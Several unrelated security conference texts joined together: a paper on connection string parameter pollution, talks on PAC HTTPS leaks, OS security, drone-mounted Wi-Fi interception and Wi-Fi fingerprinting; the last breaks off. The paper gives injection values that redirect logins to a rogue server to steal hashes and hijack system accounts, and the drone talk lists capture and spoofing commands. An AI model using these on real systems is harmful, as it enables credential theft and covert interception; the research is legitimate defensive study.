Bas Venis (@BugRoast) reported the PAC leak to Google and Firefox
(May 2016)
Attacking Browser Extensions - Nicolas Golubovic (May 2016)
– http://nicolas.golubovic.net/thesis/master.pdf (page 50)
Can Web Proxy Autodiscovery leak HTTPS URLs? (May 2015)
– http://security.stackexchange.com/questions/87499/can-web-
proxy-autodiscovery-leak-https-urls
Why did no-one spot this earlier?
1994 – SSL invented by Netscape
1996 – PAC invented by Netscape
1999 – WPAD invented by Microsoft (and others)
2009 – sslstrip and other HTTPS problems
2010… – HSTS implemented by browsers
Google, Facebook, Wikipedia + many others
go HTTPS by default
2016 – PAC HTTPS leak is reported and fixed
PAC
HTTPS
leak
VPN
bypass
worse things to
worry about
Summary
A network based attacker can inject PAC script into browsers
PAC scripts can leak all HTTPS URLs via DNS to an attacker
We showed how to deanonymise users, steal OAuth tokens
and access photos, location data and documents and other
private data
A VPN won’t necessarily protect you against a malicious proxy
Questions | pdf |
Connection String Parameter Pollution Attacks
Chema Alonso1, Manuel Fernandez1, Alejandro Martín1 and Antonio Guzmán2
1Informatica64, S.L.
2Universidad Rey Juan Carlos
1{chema,mfernandez,amartin}@informatica64.com, [email protected]
Abstract. In 2007 the ranking of the top ten critical vulnerabilities for the
security of a system established code injection as the top 2, closely following
top 1 XSS attacks. The first release candidate of the 2010 version of the ranking
has promoted code injection attacks to top 1. Actually, the most critical attacks
are those that combine XSS techniques to access systems and code injection
techniques to access the information. The potential damage associated with this
kind of threats, the total absence of background and the fact that the solution to
mitigate these vulnerabilities must be worked together with programmers,
systems administrators and database vendors justifies an in-depth analysis to
estimate all the possible ways of implementing this technique.
Keywords: Code injection attacks, connection strings, web application
authentication delegation.
1 Introduction
SQL injections are probably the most known injection attacks to web applications by
abusing its database architecture. Many different approaches and techniques have
been studied and analyzed so far, and the published results conclude that to prevent
these attacks from being successful, development teams need to establish the correct
filtering levels on the inputs to the system.
In the case of the attack presented in this paper, responsibility lays not only on
developers, but also on system administrators and database vendors. This attack
affects web applications, but instead of abusing implementation flaws in the way
database queries are crafted, which is the most commonly found scenario on other
injection attacks, it abuses the way applications connect to the database.
According to OWASP [1], in 2007 the ranking of the top ten critical vulnerabilities
for the security of a system established code injection attacks as the top 2, closely
following top 1 XSS attacks. The first release candidate of the 2010 version of the
ranking has promoted code injection attacks to top 1. Actually, the most critical
attacks are those that combine XSS techniques to access systems and code injection
techniques to access the information. This is the case for the so-called connection
string parameter pollution attacks. Potential impact of this type of vulnerability and
the total absence of background justify an in-depth analysis to estimate all possible
attack vectors using this technique.
This paper is structured is in three main sections. The first is this short introduction
where the foundations of the connection strings and existing mechanisms for the
implementation of web applications authentication will be introduce. Section two
proposes a comprehensive study of this new attack technique, with an extensive
collection of test cases. The article concludes briefly summarizing the lessons learned.
1.1 Connections Strings
Connection strings [2] are used to connect applications to database engines. The
syntax used on these strings depends on the database engine to be connected to and on
the provider or driver used by the programmer to establish the connection.
One way or another, the programmer must specify the server and port to connect
to, the database name, authentication credentials, and some connection configuration
parameters, such as timeout, alternative databases, communication protocol or
encryption options.
The following example shows a common connection string used to connect to a
Microsoft SQL Server database:
“Data Source=Server,Port; Network Library=DBMSSOCN;
Initial Catalog=DataBase; User ID=Username;
Password=pwd;”
As the example shows, a connection string is a collection of parameters separated
by semicolons (;), each parameter being a key-value pair. The attributes used in the
example correspond to the ones used in the “.NET Framework Data Provider for SQL
Server”, which is chosen by programmers when they use the “SqlConnection” class in
their .NET applications. Obviously, it is possible to connect to SQL Server using
different providers such as:
-
“.NET Framework Data Provider for OLE DB” (OleDbConnection)
-
“.NET Framework Data Provider for ODBC” (OdbcConnection)
-
“SQL Native Client 9.0 OLE DB provider”
The most common and recommended way to connect a .NET based application
and a SQL server, is to use the framework default provider, where the connection
string syntax is the same regardless the different versions of SQL Server (7, 2000,
2005 and 2008). This is the one used in this article to illustrate the examples.
1.2 Web Application authentication delegation
There are two ways of defining an authentication system for a web application: create
an own credential system, or delegate it to the database engine.
In most cases, the application developer chooses to use only one user to connect to the
database. Seen from the database side, this database user represents the entire web
application. Using this connection, the web application will make queries to a custom
users table where the user credentials for the application are stored.
Fig. 1. Common web application authentication architecture
The web application is identified by a single database user with access to the entire
application content in the database, thus it is impossible to implement a granular
permission system in the database over the different object, or to trace the actions of
each user in the web application, delegating these tasks to the web application itself.
If an attacker is able to abuse some vulnerability in the application to access the
database, the whole database will be exposed. This architecture is very common, and
can be found in widely used CMS systems such as Joomla, Mambo and many others.
Usually, the target of the attacker is to get the application users credentials from the
users table in the database.
The alternative consists in delegating the authentication to the database engine, so
that the connection string does not contain a fixed set of credentials, but will use those
entered by the application user and it is the database engine responsibility to check
them.
Database management applications always use this delegated authentication, so
that the user connecting to the application will only be able to access and control
those objects and actions for which he has permissions. With this architecture, it is
possible to implement a granular permission system and to trace user actions in the
database.
Database engine
Web application
Fig. 2. Web application delegated authentication architecture.
Both methods offer different advantages and disadvantages, apart from the ones
already mentioned, which are outside the scope of this article. The techniques
described in this paper will focus on the second environment: web applications with
delegated authentication to the database engine.
2 Connection String Injection
In a delegated authentication environment connection string injection techniques
allow an attacker to inject parameters by appending them with the semicolon (;)
character.
In an example where the user is asked to enter a username and a password to create
a connection string, an attacker can void the encrypting system by entering a
password such as "pwd; Encryption=off", resulting in a connection string like:
“Data Source=Server,Port; Network Library=DBMSSOCN;
Initial Catalog=DataBase; User ID=Username;
Password=pwd; Encryption=off”
When the connection string is populated, the Encryption value will be added to the
previously configured set of parameters.
2.1 Connection String Builder in .NET
Aware of this exploitation [3] of the connection strings, Microsoft included the
“ConnectionStringBuilder” [4] classes on it's version 2.0 of the Framework. They are
meant
to
create
secure
connection
strings
through
the
base
class
(DbConnectionStringBuilder) or through the specific classes for the different
providers (SqlConnectionStringBuilder, OleDbConnectionStringBuilder, etc…), and
they achieve this by allowing just key-value pairs for attributes and by escaping
injection attempts.
The use of these classes when creating a connection string would prevent the
injections. However, not every developer or application uses them.
2.2 Connection String Parameter Pollution
Parameter pollution techniques are used to override values on parameters. They are
well known in the HTTP [5] environment but they are also applicable to other
environments. In this example, parameter pollution techniques can be applied to
parameters in the connection string, allowing several attacks.
2.3 Connection String Parameter Pollution (CSPP) Attacks
As an example scenario to illustrate these attacks, a web application where a user
[User_Value] and a password [Password_Value] are required is served by a Microsoft
Internet Information Services web server running on a Microsoft Windows Server.
The application user credentials are going to be used to create a connection string to a
Microsoft SQL Server database as follows:
Data source = SQL2005; initial catalog = db1;
integrated security=no; user id=+’User_Value’+;
Password=+’Password_Value’+;
This connection string shows how the application is connecting to a Microsoft SQL
Server database engine. Knowing this, and attacker can perform a Connection String
Parameter Pollution Attack. The idea of this attack is to add a parameter to the
connection string with the desired value, regardless of if it already was in the string or
the value with which was set up. The component used by .NET applications to craft
the connection string will use the value of the last occurrence of the parameter in the
connection string. If the connection string has two parameters which key is "Data
Source", the value used will be the one of the last of the two pairs, which allows the
following CSPP attack vectors:
2.3.1 CSPP Attack 1: Hash stealing
An attacker can place a Rogue Microsoft SQL Server connected to the Internet with a
Microsoft SQL Server credential sniffer listening (In this exsmple CAIN [6] has been
used). An attacker would perform a CSPP attack as follows:
User_Value: ; Data Source = Rogue_Server
Password_Value: ; Integrated Security = true
Resulting in the following connecting string:
Data source = SQL2005; initial catalog = db1;
integrated security=no; user id=;Data Source=Rogue
Server; Password=; Integrated Security=true;
The "Data Source" and "Integrated Security" parameters are being overridden so
that the Microsoft SQL Server native drivers will use the last set of values ignoring
the previous ones, and the application will try to connect to Rogue_Server with the
Windows credentials it's running on, which can be either a system user or an
application pool user.
2.3.1.1 Example 1: ASP.NET Enterprise Manager
This tool is an abandoned and unsupported Open Source tool, but still being used by
some hosting companies and some organizations to manage Microsoft SQL Server
databases via a web interface. The official web site, which used to be
aspnetenterprisemanager.com, is today abandoned, but the tool can be obtained from
several other web sites like SourceForge [7] or MyOpenSource [8]. This tool is being
recommended in a lot of forums as a good ASP.NET alternative to PHPMyAdmin [9],
even though the last version was published on the 3rd of January of 2003.
Fig. 3. CSPP in ASP.NET Enterprise Manager to steal the account information
The results are collected on the rogue server where the database connection sniffer
has been installed giving access to the LM Hash of the account.
Fig. 4. Hash collected in the rogue server with Cain
2.3.2 CSPP Attack 2: Port scanning
One of the valid parameters on a connection string is the port to connect to. An
attacker can abuse an application vulnerable to this technique to network scan servers
by trying to connect to different ports and see the error messages obtained:
User_Value: ; Data Source =Target_Server,
Target_Port
Password_Value: ; Integrated Security = true
This injection attack will result in the following connection string:
Data source = SQL2005; initial catalog = db1;
integrated security=no; user id=;Data Source=Target
Server, Target Port; Password=; Integrated
Security=true;
This connection string will ignore the first instance of the first "Data Source"
parameter and will use the last one, meaning that the web application is going to try to
connect to "Target Port" port on the "Target Server" machine. Observing the
differences in the returned error messages, a port scan can be performed.
2.3.2.1 Example 2: myLittleAdmin and myLittleBackup
The tools myLittleAdmin [10] and myLittleBackup [11] are commercial tools
developed by myLittleTools [12]. Both tools are vulnerable to CSPP attacks up to
versions myLittleAdmin 3.5 and myLittleBackup 1.6.
Fig. 5. A connection can be established through port 80 to www.gooogle.com
As shown in Fig. 5, when the port is listening (open) the error message obtained says
that no Microsoft SQL Server is listening on it, but a TCP connection was established.
Fig. 6. A connection cannot be established through the XX port to www.google.com
When the port is closed, a TCP connection could not be completed and the error
message is different. Using these error messages a complete TCP port scan can be run
against a server. Of course, this technique can also be used to discover internal servers
within the DMZ where the web application is hosted.
2.3.3 CSPP Attack 3: Hijacking Web credentials
This time the attacker tries to connect to the database by using the web application
system account instead of a user provided set of credentials:
User_Value: ; Data Source =Target_Server
Password_Value: ; Integrated Security = true
These injected values will result in the following connection string:
Data source = SQL2005; initial catalog = db1;
integrated security=no; user id=;Data Source=Target
Server, Target Port; Password=; Integrated
Security=true;
This time is the "integrated security" parameter what is being overwritten with a
"True" value. This means that the system will try to connect to the database with the
system account which the tool is running with. In this case this is the system account
used by the web application in the web server.
2.3.3.1 Example 3: SQL Server Web Data Administrator
This tool is a project, originally developed by Microsoft, which was made free as an
Open Project. Today, it is still possible to download the last version that Microsoft
released on 2004 from Microsoft Servers [13] but the latest one, released on 2007, is
hosted in the Codeplex web site [14]. The version hosted in Codeplex is secure to this
type of attacks because it is using the ConnectionStringBuilder classes to dynamically
construct the connection string.
The version published on the Microsoft web site is vulnerable to CSPP attacks. The
following screenshots show how it is possible to get access to the system using this
type of attack.
Fig. 7. Exploiting the credentials at the WEB Data Administrator
In Fig. 7, the password value is: “; integrated Security=true”, as described
previously.
Fig. 8. Console access with the server account
The attacker can log into the web application to manage the whole system. As
shown in Fig. 9, this is because all users and network services have access to the
server.
Fig. 9. System account access grant.
2.3.3.2 Example 4: myLittleAdmin and myLittleBackup
In mylittleAdmin and myLittlebackup tools, it is possible to check out the connection
string used to get the access. Looking at it, the parameter pollution injected in order to
obtain access to the system can be clearly seen.
Fig. 10. CSPP in myLittleAdmin.
Fig. 10 shows how the "Data Source" parameter, after the "User ID" parameter, has
been injected with the localhost value. This parameter, "Data Source", is also the first
one of the connection string. Their values are different but the one that is being used
is the last one, i.e. the injected one.
Same happens with the "Integrated Security" parameter that appears initially with
the no value but then is overriden by the one injected in the password value with
value yes, resulting in a total access to the server with the system account the web
application is running as.
Fig. 11. Querying the master..sysusers table.
2.3.3.3 Example 5: ASP.NET Enterprise Manager
The same attack also works on the latest public version of the ASP.NET Enterprise
manager, so, as can be seen in the following login form, an attacker can perform the
CSPP injection to get access to the web application.
Fig. 12. CSPP in ASP.NET Enterprise Manager login form.
And as a result of it, full access can be obtained, just as can be seen in the
following screenshot.
Fig. 13. Administration console in ASP.NET Enterprise Manager.
3 Conclusions
All these examples show the importance of filtering any user input in web
applications. Moreover, these examples are a clear proof of the importance of
maintaining the software updated. Microsoft released ConnectionStringbuilder in
order to avoid these kinds of attacks, but not all projects were updated to use these
new and secure components.
These techniques also apply to other database engines such as Oracle databases,
which allow administrators to set up Integrated security into the database. Besides, in
Oracle connection strings it is possible to change the way a user gets connected by
forcing the use of a sysdba session.
MySQL databases do not allow administrators to configure an Integrated Security
authentication process. However, it is still possible to inject code and manipulate
connection strings to try to connect against internal servers not exposed to the
Internet.
In order to avoid these attacks the semicolon character must be filtered out, all the
parameters sanitized, and the firewall be hardened in order to filter not only inbound
connections but also prevent outbound connections from internal servers that are
sending NTLM credentials to the internet. Databases administrator should also apply
a hardening process in the database engine to restrict access by a minimum privilege
policy.
References
1. The Open Web Application Security Project, http://www.owasp.org
2. Connection Strings.com: http://www.connectionstrings.com
3. Ryan, W.: Using the SqlConnectionStringBuilder to guard against Connection String
Injection Attacks, http://msmvps.com/blogs/williamryan/archive/2006/01/15/81115.aspx
4. Connection String Builder (ADO.NET),
http://msdn.microsoft.com/en-us/library/ms254947.aspx
5. Carettoni L., di Paola S.: HTTP Parameter Pollution,
http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
6. Cain: http://www.oxid.it/cain.html
7. ASP.NET Enterprise Manager in SourceForge, http://sourceforge.net/projects/asp-ent-man/
8. ASP.NET Enterprise Manager in MyOpenSource:
http://www.myopensource.org/internet/asp.net+enterprise+manager/download-review
9. PHPMyAdmin: http://www.phpmyadmin.net/
10. myLittleAdmin: http://www.mylittleadmin.com
11. myLittleBackup: http://www.mylittlebackup.com
12. myLittleTools: http://www.mylittletools.net
13. Microsoft SQL Server Web Data Administrator:
http://www.microsoft.com/downloads/details.aspx?FamilyID=c039a798-c57a-419e-acbc-
2a332cb7f959&displaylang=en
14. Microsoft SQL Server Web Data Administrator in Codeplex project:
http://www.codeplex.com/SqlWebAdmin | pdf |
D E F C O N 1 3
Windows vs FreeBSD vs Linux
Windows vs FreeBSD vs Linux
Or: Why Deploying Linux in your
Environment is Suicide
D E F C O N 1 3
Don’t Believe Anything I Say
Don’t Believe Anything I Say
•
"Do not believe in anything simply because you have
heard it. Do not believe in anything simply because it is
spoken and rumored by many. Do not believe in
anything simply because it is found written in your
religious books. Do not believe in anything merely on
the authority of your teachers and elders. Do not
believe in traditions because they have been handed
down for many generations. But after observation and
analysis, when you find that anything agrees with
reason and is conducive to the good and benefit of one
and all, then accept it and live up to it.” - Buddha
•
Daytime - Security consultant
– “Beltway bandit” in Linthicum MD
•
Night - Founder of the Shmoo Group, Capital Area Wireless
Network, periodic author
D E F C O N 1 3
For Your Safety and The Safety of
Those Around You
For Your Safety and The Safety of
Those Around You
Linux Zealots
Linux Zealots
Windows / BSD /
Others
Windows / BSD /
Others
• This talk may be not much more than
flamebait
– You may be reminded of a /. Discussion
• This talk is meant to be interactive
D E F C O N 1 3
Lets Talk about Security
Lets Talk about Security
• For the feds, “Information Assurance”
• Tactical Coding Error vs Design Flaw
• Script kiddie vs Dedicated Attacker
• Host Hardening vs Long term operational
security
D E F C O N 1 3
Long term Operational Security
Long term Operational Security
• Often overlooked aspect of “security”
– We are not an end in and of ourselves.
– Further, an IDS does not operational security
make
• Any idiot can be trained to secure a host
– Look at all the security books on the shelf
– Running a long term secure enterprise is the
tough thing
D E F C O N 1 3
Enter Rant Mode
Enter Rant Mode
D E F C O N 1 3
Potter’s Pyramid of IT Security
Needs
Potter’s Pyramid of IT Security
Needs
IDS
Patch Mgt
Op. Procedures
Firewalls
Auth / Auth
Software ACLs
Sec
Honeypots
Sophistication and Operational Cost
D E F C O N 1 3
Why Does the Development
Method Matter?
Why Does the Development
Method Matter?
• You can certainly do belly button contemplation to
say why it does or does not matter
– Structured process is the only way to build a secure and
scalable system
Or
– Having many eyeballs and lack of clear direction means the
best and most useful stuff is what will get integrated, not all
the fluff.
– There is no right answer…
• Process driven code can suck horribly
• There are often not “many eyes” looking at security
Corp
View
OSS
View
D E F C O N 1 3
But really, is there a difference?
But really, is there a difference?
• Beyond what the zealots say, and what the
media says… Is there a real difference?
• Assessing this difference is a real PIA with
lots of red herrings
• Methods of determining difference
– Examine the development processes
– Examine the history of security in the architecture
• Vulnerability statistics?
– Examine the future directions of security
– Ideally get statistics from enterprises on how they
spend their security budgets and why
• I’m not Burton or IDG… So I just asked friends…
D E F C O N 1 3
Let’s talk about Vulnerability
Statistics
Let’s talk about Vulnerability
Statistics
• Vulnerability stats are (generally) an artifact
of tactical coding errors, not bigger problems
• “In the last year we cut the number of patches
we released from 35 to 12”
– Well, if you’re rolling up many vuln fixes to one
patch, it doesn’t count
– Further, the impact from the vulns may vary as
well
– Not just an MS problem… MDKSA-2004-037
• Whose code was the vuln in?
– Kernel? Integrated Application? Third Party?
D E F C O N 1 3
But We’re ahead of ourselves.
First, Windows!
But We’re ahead of ourselves.
First, Windows!
• Developed as a complete system
– And then some… Applications are tightly
integrated with operating system.
– Obviously, MS works as one organization, and
Office upgrades are aware of Windows upgrades
and vice versa
Kernel
MS Created
Core Sys Utils
MS Created
Applications
MS Created
D E F C O N 1 3
Windows Release Methodologies
Windows Release Methodologies
• Publicized well in advance
– Much of it is marketing spam, but there is
obviously a HUGE developer network that seeds
new technology info well in advance of release
• MS has a habit of once they’ve dominated a
market, they stop dealing with the market
– IE is a prime example
– This has a negative impact on security
• MS will only integrate as much security as the market
demands.
• The OSS world will continue to integrate security b/c it’s
the right thing to do
D E F C O N 1 3
Windows Security Roadmap
Windows Security Roadmap
• Many long term security initiatives
• Internal code security programs
– Security is woven through their entire
development process
– Tho with the recent announcement of Land II, they
may not quite be there yet
• Security functionality roadmap
– Including a full MLS compliant OS by 09
• Definitely aware of Security Operations
D E F C O N 1 3
FreeBSD
FreeBSD
• FreeBSD is designed and developed as a
complete end to end system
– Kernel to userland system utilities
• Structured development process
– Core team, and accountability for all parts of the
core OS
• Beyond userland system utilities, thirdparty
software is packaged by the FBSD team
– Either in binary or source packaging (or both)
Kernel
FBSD
Created
Core Sys Utils
FBSD Created
Applications
FBSD
packaged
D E F C O N 1 3
FreeBSD Release Methodologies
FreeBSD Release Methodologies
• For Core system, there is a FreeBSD
Release Engineering team.
• For Third party software, there is also a team
dedicated to “produce a high quality package
set suitable for official FreeBSD release
media.”
• More info at http://www.freebsd.org/releng/
D E F C O N 1 3
FreeBSD Security Roadmap
FreeBSD Security Roadmap
• FreeBSD provides EOL info WELL in
advance of EOL occurring to give operators
a heads up.
• Many integrated security features
– Securelevels are a great feature
– Expanded ACL control, jails (!chroot)
• While not a Roadmap ala Microsoft, still a
great start.
D E F C O N 1 3
Linux
Linux
• It’s Bazaar, right?
• Linus et al control the kernel
• Community creates the rest with some loose
coordination
• Distros use Duct Tape as a “value add” to put
everything together
– While they’re all “Linux” they’re basically different
OS’s
– Aren’t they?
Kernel
Linus
Created
Core Sys Utils
Community
Created / Distro
Pkg
Applications
Community
Created / Distro
Pkg
D E F C O N 1 3
A Choice Slashdot Quote
A Choice Slashdot Quote
My point with this is that it's not the kernel that's making
GNU/Linux systems crawl on o
lder hardwar e. It's the newer ver sions
of GNOME and KDE. A s long as you
aren't running GNOME or KDE,
older hardw
are work s just fine. My servers chug along just fine , and
my 233 MHz
laptop with 64 MBs of RAM running Sawfish als o
suffices just fine to do v
irtually all m y common
tasks (except
running any Mozilla
product :- P ).
So, certainly
, GNU/Linux ma y need more developers fro m third
world nations, a
s you put it. Linux, however , does not.
• First, why do I care about the bloat of the
graphical environment vs the bloat of the
kernel? It’s all part of the OS as far as I care
• Second, stop with this GNU/Linux vs Linux
argument..
D E F C O N 1 3
Linux Kernel Release
Methodologies
Linux Kernel Release
Methodologies
• Whenever they feel like it
– Whenever they feel like iterating the third digit
• Changes with each major release
– 2.0 was different than 2.2 than 2.4 than 2.6
• Not necessarily done in conjunction with
distros
– Distros released at the same time will often use
different kernels
• Frankly, it’s all at Linus’ and his deputy’s
control
D E F C O N 1 3
Distro Release Methodologies
Distro Release Methodologies
• Even tho they’re all “Linux”, they’re like their own OS
– So there…
• Some are very slow evolutions and rely on uber
admins
– Debian is the ultimate example
• Others attempt to have structure and make things
easier on the user
– The Old ReadHet, Ubuntu, etc…
• However, since they’re really only responsible for the
packaging and glue code, they’re at the whim of the
community for features, especially security
– A distro will not, for instance, write their own firewall code
D E F C O N 1 3
Linux Security Roadmap
Linux Security Roadmap
• Not much out there for “Linux”
– There’s barely a kernel roadmap…
• RedHat released a security roadmap 2
years ago that basically amounted to
“Integrate SELinux into RH distro”
– Really, that’s about all I found… Others have
insight?
• Lots of add-on things (GRSec, etc…)
D E F C O N 1 3
Vulnerability Statistics Revisited
Vulnerability Statistics Revisited
• Very interesting study - “Role Comparison Report -
Web Server Role” by Ford, Thompson, and Casteran
– Decomposed the vulns in RH Linux ES 3 and Windows 2k3
– Focused largely on installation and ops as they relate to the
vulns (we’re looking for the root cause)
• Scary statistics (just a sample from the report)…
Severity
MS Server 2k3
RHEL ES 3 (min)
High
33
48
Med
17
60
Days of Risk
High
1145
2124
Med
426
4003
D E F C O N 1 3
And now, Patching
And now, Patching
• Patching is a core Security function, and
releasing patches should be a core vendor
function
• MS used to release patches whenever it
“made sense”
– Now they’ve gone to monthly roll-up patches
– Concerns about losing resolution (aka: making
0day attacks a problem) have not materialized
– Certainly simplifies ongoing Ops
• Regression testing / QA can be scheduled in advance
and patch deployment times are reduced
D E F C O N 1 3
Patching on the *NIXs
Patching on the *NIXs
• FreeBSD Kernel
– Patches direct from FBSD developers
• Linux Kernel
– Patches can be applied from kernel.org code
– Patches can be applied from distro code
– Which is right?
• Third party patches (network stack, KDE, etc)
– Patches direct from developer
– Patches from distro
– Core system utils in FBSD come from FBSD developers
– Again, which is right?
• *NIX patches easier to understand, easy to mass
deploy
– More difficult to determine if it’s needed
D E F C O N 1 3
Before the Debian Users get out of
hand
Before the Debian Users get out of
hand
• From the Deb Project Lead Report:
Woody Security Update Challenges and Progress
---------------------------------------------
The ARM problems we've had have also affected the
timeliness with which we've been able to get security
updates out. A security fix to``xfree86``, for example,
has been stalled for weeks because no ARM build
daemon has been operational to compile it. (See
`Debian bug #298939`_ for details.)
D E F C O N 1 3
Lets not Forget about SnR
Lets not Forget about SnR
• So, it’s not just about the architecture
• Security admins have to stay up to date
– I.e. We can justify why see surf the net all day
• The hell that is the Linux Distro security
announcements
– We whine about the bad SnR on an IDS, why
don’t we whine about the SnR on disclosure lists
Vuln
Disc.
Patch
Rel.
Ubuntu
Rel.
Mandrake
Rel.
Red Hat
Rel.
Debian
Rel.
OpenLin
Rel.
FBSD
Rel.
Bugtraq
Mod.
Approves
.
BillyJoe
Rel.
V u l n e r a b I l I t y T i m e l i n e
D E F C O N 1 3
The Future
The Future
• Linux continues to survive by brute force and
a worldwide network of zealots
– The Linux zealots make Apple users look tame
• MS will continue to push the bounds of
security beyond what the stereotypical OSS
operating system can do
– Especially from an operational security
perspective
• The BSD’s will continue to be the leaders in
the OSS movement wrt operational security
D E F C O N 1 3
Questions? Answers?
Questions? Answers?
• Contact Info
– [email protected]
– [email protected]
• Flames
– /dev/null
• This talk will be available from
www.shmoo.com/~gdead soonish
• Check out “Mastering FreeBSD and OpenBSD
Security” from O’Reilly | pdf |
R I C K Y H I L L
D E F C O N 2 1
8 / 3 / 2 0 1 3
Phantom Network Surveillance
UAV / Drone
1
About Me
Security Consultant, D.C. Area
Specialties: Wireless & SCADA Security
US Govt. and Commercial Engagements
Previous DEFCON talks: WarRocketing &
WarBallooning, (over Las Vegas ;-)
Hobbies: R/C heli’s, Deep Sea Fishing
2
Outline
Intro - Aerial Wireless Surveillance
Past Attempts: Balloons, Rockets, UAVForge
New Technology: The Phantom Drone
Building the Network Surveillance Drone
Flights & Results
Conclusion
3
What’s this About?
Aerial visual and wireless (802.11) surveillance
Challenge: Personal previous attempts to capture
and, more importantly to engage wireless targets
from aerial platforms have been problematic:
WarRocketing– limited air time, Warballooning–
limited directional control, weak signals
Others:
Blackhat 2011, Tassey & Perkins - WASP wireless spy drone
UAVForge, 2011 - Covert visual surveillance, No Winner
4
But I luv Heli’s & Drones: Why did UAVForge fail?
Factors:
Govt. required Heli operations be conducted
beyond line of sight (LoS)
Limited First Person View (FPV) R/C techniques
Autonomous drone operation required, (including
obstacle avoidance)
Landings Problematic: Many Crashes – Teams
needed better descent & flight attitude indicators
5
UAVForge – Flight Problems
6
UAVForge – Another Flight
7
What’s New Since 2011?
Technology has improved dramatically:
Computers super tiny: Cotton Candy (30 grams)
CC is Bluetooth, HDMI, and 802.11 capable
Wifi Pineapple (Hak5): small + remotely
assessable via 3G, 4G
DJI Phantom = the first “consumer quality” drone
that is easily flyable by the average person.
8
Meet “THE” DJI Phantom
DJI Innovations introduced the Phantom JAN 2013
It quickly gained a reputation for being the most
stable drone platform in the air today
Features:
GPS Auto-Pilot
Auto “Return to Home”
High payload capability: up to 400 grams
Relatively Inexpensive: $679. UAVForge Dones: $2K-9K
9
TechnoLust Overcomes Me: Let’s build this!
I envision 3 uses for Phantom Network
Surveillance:
Site Survey – large area / short time
Observation and Communications Capture
Platform for incidents such as the recent Boston
Marathon Bombing
Covert missions using the “Perch, Listen &
Engage” technique from Rooftops or other
normally inaccessible locations
10
TechnoLust …
Designed & Built 2 payloads:
Cotton Candy + WiSpy or KillerBee
Flying Pineapple = Hak5 Pineapple + GSM 3G/4G
11
Site Survey Payload
Design Considerations:
Cotton Candy makes a perfect headless computer
Apple Bluetooth KB & Mouse “detach” instantly
ARM processor runs Ubuntu or Android O/S
1.2 GHz ARM Cortex-A9 CPU, 1GB of RAM, image
on microSD
Wireless Tools: Kismet, Wispy (spectools)
available, or pretty much any USB device, even
Killerbee for ZIGBEE
12
WiSpy Flight Results
Lake Neighborhood: (more flights in Progress)
13
WiSpy Flight Results
2.4 Ghz:
14
We found 802.11 sources – What’s next?
The Flying Pineapple: Tools –> Airodump, sslstrip, site
survey, etc.
Payload Objectives:
[1] Land on a residential or commercial building, “Perch”
[2] Conduct Op’s
[3] Return Phantom + payload safely to starting point
“Perch, Listen, and Engage” predictably will become an
important technique as in the words of DARPA:
“The primary (perching) benefit is to increase
(surveillance) persistence by reducing mission power
demands while providing stable sensor emplacement.”
15
Pineapple Remote Operation
Remote admin. & monitoring via 3G or 4G (a sweet
pen-testing drop box)
Utilizes a relay server, ssh proxy (Hawaii)
Autossh keeps the tunnel alive to the Pineapple
(Hak5 episode 1112)
Operations team shells into the Drone & utilizes
command prompt or GUI. 1200 mAh LiPo life ~=2-3
hours with the T-Mobile Rocket ZTE-MF592 (GSM)
CDMA devices consume 2x power! (not
recommended)
16
Pineapple Offensive Ops
Selected Pineapple Capabilities:
OpenWRT running Jasager – >“the yes man”
URL Snarf
DNS Spoofing
New http landing page for phishing, etc.
airodump-ng runs great in-flight!
cd /usb/airodump-ng-logs
airomon-ng start wlan0 (monitor mode)
airodump-ng -w pcap mon0
Demo Pineapple GUI:
http over ssh
17
Network Diagram
Placeholder: Reverse ssh with Hawaii relay
diagram shown here.
Update will be posted to DEFCON site.
18
Pineapple Flight Results
Airodump-NG:
19
Pineapple Flight Result2
Airodump-NG:
20
Flight Video
This slide is a placeholder:
Show Phantom Mission Flight Videos here (5
min. MAX)
No text: all live flights from July 2013
Updates will be posted to DEFCON site.
21
How did we compare to UAVForge Team Scores?
22
How did we compare to UAVForge Team Scores?
Phantom ~= 35
23
Conclusion / Future Work
Phantom Network Surveillance Drone:
successful proof of concept demonstration for
“Perch, Listen, and Engage” wireless network
surveillance.
Next DARPA Challenge:
Full FPV for non-LoS operations
Autonomous operation with waypoints, (Naza-M
available now.)
Descent rate instruments for precision landing
Extend 3 Hr. surveillance capability with better
power design... Multiple building operations
become possible.
24
Legal & Safety Issues
Do NOT attempt to fly a quadcopter as large and
expensive as the Phantom without experience! (I
highly recommend joining an R/C club or getting a
mentor). Start small: the Blade MQX quadcopter is
ideal…
Under current FAA rules flying beyond LOS or above
400 ft. AGL is Illegal
Under no circumstances fly within 3 miles of
any airport.
Do NOT violate people’s privacy with cameras or
other devices.
25
Legal & Safety Issues…
Respect property rights: If your helicopter, drone,
or other expensive equipment comes down on
someone else’s property (house, roof or land):
Probable Case – you may Never get it back,
Worst Case – you may be arrested for Trespassing
In no way endanger people on the ground – this
means flying away from other people and making
sure everyone around you is aware of the aerial
operation.
For more info. on pending Legislation & Legal
Issues, (see bibliography)
26
Bibliography
DARPA UAVForge project site:
http://www.uavforge.net/
DJI Innovations, Inc. Phantom: http://www.dji-
innovations.com/product/phantom/
Cotton Candy Computer:
http://www.fxitech.com/cotton-candy/what-is-it/
WiFi Pineapple (Hak5): “The Hot-Spot Honeypot
Pen-Testing Platform”: http://wifipineapple.com/
Congressional Research Service, “Integration of
Drones into Domestic Airspace: Selected Legal
Issues”, Dolan and Thompson, April 4, 2013
27
Questions? | pdf |
I Know What
You Are By the
Smell of Your
Wi-Fi
Denton Gentry
Try It!
1%
10%
Poll: Wi-Fi at DEFCON for a demo
89%
bad idea.
worst idea.
what could go wrong?
SSID: SmellOfWifiTalk
MAC Sublayer Management Entity (MLME)
Probe Request: Asks nearby APs to respond.
Association Request: join the Wi-Fi network
Probe Request
Association Request
Probe Response
Association Response
Try It! SSID: SmellOfWifiTalk
Signature: Information Elements
Tag #0
Tag #1
Tag #33
Tag #36
Tag #48
Tag #70
Tag #45
Tag #191
Tag #221, Vendor OUI 00:17:f2, #10
Tag #221, Vendor OUI 00:10:18, #2
Tag #221, Vendor OUI 00:50:f2, #2
0,1,33,36,48,70,45,191,
221(0017f2,10),221(0010
18,2),221(0050f2,2)
Try It! SSID: SmellOfWifiTalk
Signature: Capability bitmasks
Transmit power
HT Capabilities bitmask (802.11n)
VHT Capabilities bitmask (802.11ac)
Try It! SSID: SmellOfWifiTalk
0,1,33,36,48,70,45,191,221
(0017f2,10),221(001018,2),
221(0050f2,2),txpow:13f9,
htcap:006f,vhtcap:0f811032
Distinctiveness Over Time
iPhone, 2007
0,1,48,50
iPhone 4s, 2011
